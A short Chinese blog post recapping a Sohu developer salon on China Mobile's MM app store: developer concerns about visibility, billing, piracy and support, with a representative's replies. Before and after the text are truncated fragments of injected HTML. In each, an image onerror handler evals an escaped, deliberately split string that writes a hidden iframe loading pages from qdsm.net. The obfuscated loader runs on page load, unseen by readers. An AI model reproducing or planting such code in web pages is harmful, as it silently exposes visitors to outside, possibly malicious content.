0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

昨天的“搜狐手机应用开发者沙龙”的话题和讨论基本还是围绕“移动MM”，参会的媒体记者居多，真正的开发者很少，但还是产生很多有价值的信息：

1． 对于如何能尽可能的让自己的产品在“移动MM”获得更高的曝光度和更多的用户关注度仍很迷惑，对于“移动MM”是否会走“移动梦网”老路仍持观望态度（宗航解答：“移动MM”是个开放的平台，不会走“移动梦网”SP老路）；

2． 希望“移动MM”更open，对于与移动自身产品产生利益冲突的产品（例如飞信与其他手机IM产品）能有公平的对待（宗航解答：再次强调“移动MM”是个开放的平台）；

3． “移动MM”的收费模式还没有很好的适用于现有的手机应用收费模式，例如电子书类的产品是按阅读篇数计费，生活服务类的产品是按查询次数计费，还有些是类似网游的包月模式；

4． 开发者希望获得综合的手机应用的统计分析数据，例如哪些手机应用需求缺口大，哪些手机应用更收用户欢迎，哪些手机应用用户更愿意付费等

5． 手机用户对于版权、客服的担忧，花了钱买来的缺是盗版、xx的非正版内容时如何维权（宗航解答：尽力做好版权审核），在使用这些应用中产生的疑问是否能得到及时的客服解答（宗航解答：承担一线客服义务，但仍需要开发者自己提供更为专业的客服解答）。

6． 对于非移动用户是否能从“移动MM”下载内容（宗航解答：只要他们手机上插了移动的SIM卡都能下载）

7． 未来的Ophone将嵌入更为优化和无缝的“移动MM”，是否意味着“移动MM”的内容将更侧重于自己的OMS应用（解答：努力为用户提供更好的应用）

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">